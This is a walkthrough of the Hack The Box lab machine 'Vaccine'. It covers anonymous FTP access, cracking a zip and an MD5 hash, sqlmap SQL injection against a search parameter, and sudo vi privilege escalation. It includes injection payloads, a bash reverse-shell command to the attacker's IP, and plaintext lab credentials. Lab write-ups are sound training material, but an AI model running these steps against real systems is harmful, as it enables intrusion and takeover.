# HTB-Tier2- Vaccine

2023-11-08

HTB-Tier2- Vaccine

在这里插入图片描述

Web

Network

Vulnerability Assessment

Databases

Injection

Custom Applications

Protocols

Source Code Analysis

Apache

PostgreSQL

FTP

PHP

Penetration Tester Level 1

Reconaisance

Password Cracking

SUDO Exploitation

SQL Injection

Remote Code Execution

Clear Text Credentials

Anonymous/Guest Access

                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ nmap -A 10.129.142.36 -T4 
Starting Nmap 7.91 ( https://nmap.org ) at 2022-11-17 22:23 HKT
Nmap scan report for 10.129.142.36
Host is up (0.87s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.105
|      Logged in as ftpuser
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: MegaCorp Login
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 169.53 seconds

┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ ftp Anonymous@10.129.142.36
ftp: Anonymous@10.129.142.36: Name or service not known
ftp> 
ftp> 
ftp> dir
Not connected.
ftp> ldir
?Invalid command
ftp> h
?Ambiguous command
ftp> help
Commands may be abbreviated.  Commands are:

!               dir             mdelete         qc              site
$               disconnect      mdir            sendport        size
account         exit            mget            put             status
append          form            mkdir           pwd             struct
ascii           get             mls             quit            system
bell            glob            mode            quote           sunique
binary          hash            modtime         recv            tenex
bye             help            mput            reget           tick
case            idle            newer           rstatus         trace
cd              image           nmap            rhelp           type
cdup            ipany           nlist           rename          user
chmod           ipv4            ntrans          reset           umask
close           ipv6            open            restart         verbose
cr              lcd             prompt          rmdir           ?
delete          ls              passive         runique
debug           macdef          proxy           send
ftp> open 10.129.142.36
Connected to 10.129.142.36.
220 (vsFTPd 3.0.3)
Name (10.129.142.36:kwkl): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.30 secs (8.2538 kB/s)
ftp> 

┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ unzip -x backup.zip  -d ./vaccine
Archive:  backup.zip
[backup.zip] index.php password: 
password incorrect--reenter: 
   skipping: index.php               incorrect password
   skipping: style.css               incorrect password
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ zip2john backup.zip >> vaccinepassword.txt                                                                                                                             82 ⨯
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ cat vaccinepassword.txt 
backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip$::backup.zip:style.css, index.php:backup.zip
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ john vaccinepassword.txt                                   
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
741852963        (backup.zip)     
1g 0:00:00:00 DONE 2/3 (2022-11-17 22:33) 9.090g/s 846763p/s 846763c/s 846763C/s 123456..MATT
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ unzip -x backup.zip  -d ./vaccine           
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: ./vaccine/index.php     
  inflating: ./vaccine/style.css     
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ cd vaccine                     
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ ls
doexec.c  generic.h  getopt.c  getopt.h  hobbit.txt  index.php  license.txt  Makefile  nc64.exe  nc.exe  netcat.c  readme.txt  style.css
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ rm -rf ./*
zsh: sure you want to delete all 13 files in /home/kwkl/HODL/htb/vaccine/. [yn]? y
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ 
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ unzip -x backup.zip  -d ./vaccine
unzip:  cannot find or open backup.zip, backup.zip.zip or backup.zip.ZIP.
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ ls                                                                                                                                                                      9 ⨯
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ cd ..     
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ unzip -x backup.zip  -d ./vaccine
Archive:  backup.zip
[backup.zip] index.php password: 
  inflating: ./vaccine/index.php     
  inflating: ./vaccine/style.css     
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ cd vaccine 
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$ ls
index.php  style.css
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
└─$                           

image-20221117223717824

<!DOCTYPE html>
<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
?>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>MegaCorp Login</title>
  <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700" rel="stylesheet"><link rel="stylesheet" href="./style.css">

</head>
  <h1 align=center>MegaCorp Login</h1>
<body>
<!-- partial:index.partial.html -->
<body class="align">

  <div class="grid">

    <form action="" method="POST" class="form login">

      <div class="form__field">
        <label for="login__username"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#user"></use></svg><span class="hidden">Username</span></label>
        <input id="login__username" type="text" name="username" class="form__input" placeholder="Username" required>
      </div>

      <div class="form__field">
        <label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
        <input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
      </div>

      <div class="form__field">
        <input type="submit" value="Sign In">
      </div>

    </form>


  </div>

  <svg xmlns="http://www.w3.org/2000/svg" class="icons"><symbol id="arrow-right" viewBox="0 0 1792 1792"><path d="M1600 960q0 54-37 91l-651 651q-39 37-91 37-51 0-90-37l-75-75q-38-38-38-91t38-91l293-293H245q-52 0-84.5-37.5T128 1024V896q0-53 32.5-90.5T245 768h704L656 474q-38-36-38-90t38-90l75-75q38-38 90-38 53 0 91 38l651 651q37 35 37 90z"/></symbol><symbol id="lock" viewBox="0 0 1792 1792"><path d="M640 768h512V576q0-106-75-181t-181-75-181 75-75 181v192zm832 96v576q0 40-28 68t-68 28H416q-40 0-68-28t-28-68V864q0-40 28-68t68-28h32V576q0-184 132-316t316-132 316 132 132 316v192h32q40 0 68 28t28 68z"/></symbol><symbol id="user" viewBox="0 0 1792 1792"><path d="M1600 1405q0 120-73 189.5t-194 69.5H459q-121 0-194-69.5T192 1405q0-53 3.5-103.5t14-109T236 1084t43-97.5 62-81 85.5-53.5T538 832q9 0 42 21.5t74.5 48 108 48T896 971t133.5-21.5 108-48 74.5-48 42-21.5q61 0 111.5 20t85.5 53.5 62 81 43 97.5 26.5 108.5 14 109 3.5 103.5zm-320-893q0 159-112.5 271.5T896 896 624.5 783.5 512 512t112.5-271.5T896 128t271.5 112.5T1280 512z"/></symbol></svg>

</body>
<!-- partial -->
  
</body>
</html>

https://www.cmd5.com/

image-20221117223836713

or

┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ git clone https://github.com/s0md3v/Hash-Buster/
cd Hash-Buster
正克隆到 'Hash-Buster'...
remote: Enumerating objects: 139, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 139 (delta 0), reused 0 (delta 0), pack-reused 138
接收对象中: 100% (139/139), 46.33 KiB | 179.00 KiB/s, 完成.
处理 delta 中: 100% (48/48), 完成.
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
└─$ dir
hash.py  LICENSE  makefile  README.md
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
└─$ python3 hash.py 2cb42f8734ea607eefed3b70af13bbd3
usage: hash.py [-h] [-s HASH] [-f FILE] [-d DIR] [-t THREADS]
hash.py: error: unrecognized arguments: 2cb42f8734ea607eefed3b70af13bbd3
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
└─$ python3 hash.py -s 2cb42f8734ea607eefed3b70af13bbd3                                                                                                                     2 ⨯
_  _ ____ ____ _  _    ___  _  _ ____ ___ ____ ____
|__| |__| [__  |__|    |__] |  | [__   |  |___ |__/                                                                                                                             
|  | |  | ___] |  |    |__] |__| ___]  |  |___ |  \  v3.0                                                                                                                       

[!] Hash function : MD5
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1015: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nitrxgen.net'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  warnings.warn(
qwerty789
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
└─$       

hashcat -m 0 hash.txt /usr/share/wordlist/pass.txt 作者:编程军火库 https://www.bilibili.com/read/cv19182714 出处:bilibili

User :admin

Password: qwerty789

image-20221117234709198

image-20221117234626192

image-20221117234614893

                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ sqlmap -r vaccine2.txt --os-shell
        ___
       __H__                                                                                                                                                                    
 ___ ___[(]_____ ___ ___  {1.6.10#stable}                                                                                                                                       
|_ -| . ["]     | .'| . |                                                                                                                                                       
|___|_  [']_|_|_|__,|  _|                                                                                                                                                       
      |_|V...       |_|   https://sqlmap.org                                                                                                                                    

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:18:52 /2022-11-17/

[23:18:52] [INFO] parsing HTTP request from 'vaccine2.txt'
[23:18:52] [INFO] resuming back-end DBMS 'postgresql' 
[23:18:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=www' AND (SELECT (CASE WHEN (4666=4666) THEN NULL ELSE CAST((CHR(111)||CHR(83)||CHR(115)||CHR(121)) AS NUMERIC) END)) IS NULL-- hFAt

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=www' AND 1559=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (1559=1559) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(98)||CHR(113)||CHR(113)) AS NUMERIC)-- dTaz

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=www';SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=www' AND 3288=(SELECT 3288 FROM PG_SLEEP(5))-- fFdk
---
[23:18:53] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[23:18:53] [INFO] fingerprinting the back-end DBMS operating system
[23:18:55] [INFO] the back-end DBMS operating system is Linux
[23:18:58] [INFO] testing if current user is DBA
[23:18:59] [INFO] retrieved: '1'
[23:19:00] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[23:19:00] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
do you want to retrieve the command standard output? [Y/n/a] n
[23:19:06] [WARNING] the SQL query provided does not return any output
[23:19:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:19:06] [INFO] retrieved: 
[23:19:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1"
do you want to retrieve the command standard output? [Y/n/a] y
[23:20:01] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[23:20:02] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[23:20:06] [WARNING] the SQL query provided does not return any output
[23:20:06] [INFO] retrieved: 
No output
os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1"
do you want to retrieve the command standard output? [Y/n/a] y
[23:20:54] [WARNING] the SQL query provided does not return any output
[23:20:54] [INFO] retrieved: 
No output
os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1"
do you want to retrieve the command standard output? [Y/n/a] y

┌──(kwkl㉿kwkl)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.105] from (UNKNOWN) [10.129.142.36] 38534
bash: cannot set terminal process group (3596): Inappropriate ioctl for device
bash: no job control in this shell
postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ain$ python3 -c 'import pty;pty.spawn("/bin/bash")'
postgres@vaccine:/var/lib/postgresql/11/main$ ^[[B^[[B^[[B^[[A^[[A^[[A^H^H^H^H^H^H^H^H^H^H^H

postgres@vaccine:/var/lib/postgresql/11/main$ stty raw -echo
stty raw -echo
postgres@vaccine:/var/lib/postgresql/11/main$ fg
bash: fg: current: no such job
postgres@vaccine:/var/lib/postgresql/11/main$ export TERM=xterm
postgres@vaccine:/var/lib/postgresql/11/main$ cd /var/lib/postgresql/
postgres@vaccine:/var/lib/postgresql$ ls
11  user.txt
postgres@vaccine:/var/lib/postgresql$ a^Hcat^H
ca: command not found
postgres@vaccine:/var/lib/postgresql$ cat user.txt
ec9b13ca4d6229cd5cc1e09980965bf7

cat user.txt

ec9b13ca4d6229cd5cc1e09980965bf7

postgres@vaccine:/var/lib/postgresql$ cd /var/www/html
postgres@vaccine:/var/www/html$ ci^H^H
postgres@vaccine:/var/www/html$ ls
bg.png         dashboard.js   index.php    style.css
dashboard.css  dashboard.php  license.txt
postgres@vaccine:/var/www/html$ cat das ^H
cat: dashboard: No such file or directory
postgres@vaccine:/var/www/html$ cat dashboard.php
<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title>Admin Dashboard</title>
  <link rel="stylesheet" href="./dashboard.css">
  <script src="https://use.fontawesome.com/33a3739634.js"></script>

</head>
<body>
<!-- partial:index.partial.html -->
<body>
 <div id="wrapper">
 <div class="parent">
  <h1 align="left">MegaCorp Car Catalogue</h1>
<form action="" method="GET">
<div class="search-box">
  <input type="search" name="search" placeholder="Search" />
  <button type="submit" class="search-btn"><i class="fa fa-search"></i></button>
</div>
</form>
  </div>
  
  <table id="keywords" cellspacing="0" cellpadding="0">
    <thead>
      <tr>
        <th><span style="color: white">Name</span></th>
        <th><span style="color: white">Type</span></th>
        <th><span style="color: white">Fuel</span></th>
        <th><span style="color: white">Engine</span></th>
      </tr>
    </thead>
    <tbody>
        <?php
        session_start();
        if($_SESSION['login'] !== "true") {
          header("Location: index.php");
          die();
        }
        try {
          $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
        }

        catch ( exception $e ) {
          echo $e->getMessage();
        }

        if(isset($_REQUEST['search'])) {

          $q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";

          $result = pg_query($conn,$q);

          if (!$result)
          {
                            die(pg_last_error($conn));
          }
          while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
              {
                echo "
                  <tr>
                    <td class='lalign'>$row[1]</td>
                    <td>$row[2]</td>
                    <td>$row[3]</td>
                    <td>$row[4]</td>
                  </tr>";
            }
        }
        else {

          $q = "Select * from cars";

          $result = pg_query($conn,$q);

          if (!$result)
          {
                            die(pg_last_error($conn));
          }
          while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
              {
                echo "
                  <tr>
                    <td class='lalign'>$row[1]</td>
                    <td>$row[2]</td>
                    <td>$row[3]</td>
                    <td>$row[4]</td>
                  </tr>";
            }
        }


      ?>
    </tbody>
  </table>
 </div> 
</body>
<!-- partial -->
  <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script  src="./dashboard.js"></script>

</body>
</html>
postgres@vaccine:/var/www/html$ ta^H^H^H^H
postgres@vaccine:/var/www/html$ 
postgres@vaccine:/var/www/html$ bash: [3599: 2 (255)] tcsetattr: Inappropriate ioctl for device
postgres@vaccine:/var/lib/postgresql/11/main$ exit

$conn = pg_connect(“host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!”);

password=P@s5w0rd!

postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
[sudo] password for postgres: 

# 

image-20221117232415370

image-20221117233422048

image-20221117233447704

postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
[sudo] password for postgres: 

# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
pg_hba.conf  root.txt  snap
# cat /roog.txt
cat: /roog.txt: No such file or directory
# ^[[A^[[D: not found
# cat /root/root.txt
dd6e058e814260bc70e9bbdef2715849
# 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

# HTB-Tier2- Vaccine 的相关文章

  • Javascript - 事件属性的浏览器命名约定让我感到困惑

    我一直想知道为什么不同浏览器的 JavaScript 中事件的 target sourceElement 的属性名称存在差异 event srcElement in Internet Explorer event target in mos
  • Spring MVC Web 应用程序 - 从属性启用/禁用控制器

    我有一个在 Tomcat 中运行的 Web 应用程序 并使用 Spring MVC 来定义控制器和映射 我有以下课程 Controller api test public class TestController RequestMappin
  • Django 中的 Meta 到底是什么?

    我想简单地知道 Django 中的 Meta 类是什么以及它们的作用 from django db import models Class Author models Model first name models CharField ma
  • 如何解决PHP扩展“0”必须加载的问题?

    我正在尝试在我的服务器上安装 Magento 我做了一切 正如文档中所写的 我有以下错误 必须加载 PHP 扩展 0 当我尝试在浏览器中的第二页上配置 Magento 时 会发生这种情况 你知道如何解决这个问题吗 如果您安装的是 Magen
  • REST API 与 Web API

    我是构建 HTTP API 的初学者 我似乎对 REST API 和 Web API 之间的区别感到困惑 我在网上读到更多相关内容 困惑似乎越来越多 我猜菲尔丁有与此链接相同的问题http roy gbiv com untangled 20
  • 允许获取请求但仅在我的域中?

    在我的网站上 我可以使用 GET 请求触发某些操作 例如隐藏或删除评论的功能 我不是很担心 但如果有人使用 img src url 设计攻击来删除评论或电子邮件 那会很烦人 有办法防止这种情况吗 我使用 httponlycookies 作为
  • 没有样式表的 Z-Index

    您可以在不编写或嵌入样式表的情况下为 HTML 中的图像设置 Z Index 吗 我正在将一些内容上传到网络论坛 并且需要能够将一些文本放在图像顶部 并在表格内进行格式化 但图像只是被推到一边 没有办法 发送回 我一直在对 HTML 本身进
  • 清除 Laravel 队列缓存而不重新启动

    在我的应用程序中 每个客户都有一种复杂的类 我们在其中为该特定客户进行一些搜索和替换 我运行队列工作人员每天与 eBay 同步 以便每个客户进行某种搜索和替换 问题是 Laravel 队列会缓存代码很长一段时间 如果我想去更改任何客户类文件
  • URL中的gs_upl是什么意思?

    在任何谷歌搜索 URL 中 gs upl 是什么意思 例如 那么 gs upl 1045l1663l0l3648l4l4l0l0l0l0l258l682l0 3 1l4l0 在这里意味着什么 从构建的脚本gs upl j 我找到 funct
  • 使用 hg 存储库作为网站

    这与我的安全问题有些相关here https stackoverflow com questions 2361626 security deny access to hg via mod rewrite 对实时网站使用 hg Mercuri
  • 使用 REST API 进行正确的会话管理

    我已经完成了 RESTful API 的设计 其中我使用作为参数发送的 API 令牌对每个请求进行身份验证 现在我想创建一个客户端界面 我想知道什么是管理每个客户端的会话的正确安全方法browser客户 我想过一个流程来保持服务器端无状态
  • 电话链接在 iframe 中不起作用,但在 iOS 9 Web 中的 div 中起作用。如何使电话链接在 iOS 9 safari 中正常工作?

    您好 我正在尝试 iOS9 中 iframe 内的电话链接 iOS9 中的 safari 中无法打开手机应用程序 当我在里面尝试相同的链接时 它就在那里工作 我正在尝试下面的锚标记 将此代码放入 div 中时会打开手机应用程序 但同样的代码
  • WebUSB 和 RFID 读取器

    我想知道是否有人有让 RFID 读取器通过 WebUSB 工作的经验 我使用的阅读器是https www parallax com product 28340 https www parallax com product 28340 根据我
  • Ruby On Rails - 在控制器中使用关注点

    可能的菜鸟警告 刚接触 RoR 我正在尝试在 RoR 中使用关注点 现在我只写了一个非常简单的问题 app controllers concerns foo rb module Foo extend ActiveSupport Concer
  • 对同一域发出 get 请求,出现 CORS 错误

    在浏览器扩展中 这是我的 ajax 调用 var xhr new XMLHttpRequest xhr open GET window location href true xhr responseType arraybuffer xhr
  • 如何在odoo中重写js函数

    我想加载 shop checkout url 函数是 odoo define change info order website sale change info order function require use strict oe w
  • Netty Nio java 中的通信

    我想在 Netty nio 中创建一个具有两个客户端和一个服务器的通信系统 更具体地说 首先 我希望当两个客户端与服务器连接时从服务器发送消息 然后能够在两个客户端之间交换数据 我正在使用本示例提供的代码 https github com
  • MVC4更新部分视图

    我正在开发一个简单的 MVC 应用程序 我有主视图 部分视图和控制器 这是我的主要视图 model partitalViewTest Models Qset div class transbox style height 1 Html Pa
  • C# 构建一个 webservice 方法,它接受 POST 方法,如 HttpWebRequest 方法

    我需要一个接受 POST 方法的 Web 服务 访问我的服务器正在使用 POST 方法 它向我发送了一个 xml 我应该用一些 xml 进行响应 另一方面 当我访问他时 我已经使用 HttpWebRequest 类进行了管理 并且工作正常
  • 如何防止桌面浏览器(Chrome、Safari)缩放网页

    我尝试使用以下元视图端口标记来防止浏览器缩放 但这不起作用 我知道这是可能的 因为我的缩放在此网站上被阻止 未来主义 xyz http futurism xyz 该网站的视口标签是这样的

随机推荐

  • 实验5 Spark SQL 编程初级实践

    实验5 Spark SQL 编程初级实践 一 实验目的 1 通过实验掌握Spark SQL的基本编程方法 2 熟悉RDD到DataFrame的转化方法 3 熟悉利用Spark SQL管理来自不同数据源的数据 二 实验平台 操作系统 Linu
  • 复旦计算机学硕408,又一所院校专业课改投408——复旦大学

    原标题 又一所院校专业课改投408 复旦大学 复旦大学简称 复旦 位于中国上海 位列211工程 985工程 入选双一流 是一所综合性研究型的全国重点大学 学校现有一级学科国家重点学科11个 二级学科国家重点学科19个 国家重点 培育 学科3
  • 类的加载详解

    到目前为止 我们已经写了无数个类了 但是具体它在Java虚拟机中到底是怎么实现的 我们还从未探索过 今天就带着大家一起初探一下jvm对类加载的过程 目前博主技术水平有限 以后随着技术的更加成熟 会更新博客内容的 也欢迎更多小伙伴持续关注 和
  • Ubuntu10下SSH2协议安装

    Ubuntu10下SSH2协议安装 SSH2是一套安全通讯协议框架 早期的SSH1由于存在安全漏洞 现在已经不用了 基于SSH2协议的产品目前主要有openssh putty SSH Secure Shell Client等 安装了SSH2
  • 基础配置Tomcat及使用

    配置Tomcat 背景简介 目前很多网站由java编写 所以解析Java程序需要有相关的软件来编写完成 Tomcat是其中之一 Tomcat技术先进 性能稳定且免费 是目前比较流行的web应用服务器 Tomcat是一个轻量化级应用服务器 实
  • jaspersoft studio动态图片传输

    业务需求简述 在实际业务开发中需要动态生成PDF 其中包含客户签字图片 技术栈 JasperReport Jaspersoft Studio软件 动态图片传输流程 jaspersoft studio 拖入image到工作区 选择最后一项点击
  • java爬取人人网数据

    通过httpclient何httpparser两个类爬人人网中得数据 其中的详细步骤以及文档下面详细介绍 爬人人网相关代码 SuppressWarnings deprecation public class RenRen 输入用户名及密码
  • 1.6 起步 - 初次运行 Git 前的配置

    1 6 起步 初次运行 Git 前的配置 版本说明 版本 作者 日期 备注 0 1 loon 2019 3 19 初稿 目录 文章目录 1 6 起步 初次运行 Git 前的配置 版本说明 目录 初次运行 Git 前的配置 1 用户信息 2
  • 怀旧服服务器荣誉系统是啥,魔兽世界怀旧服:荣誉系统要开了?大元帅吸引人,军衔要不要冲?...

    魔兽世界怀旧服马上开荣誉系统了 相信很多pvp玩家都会有冲军衔的目标 因为军衔是实力和荣誉的象征 有玩家清晰记得 到了R13更新那天 跟另外两个元帅法师 一共3个元帅套 站在铁炉堡银行门口 围观的人超多 那种自豪和成就感难以言喻 大家知道大
  • echarts 饼图的指示线(labelline) 问题

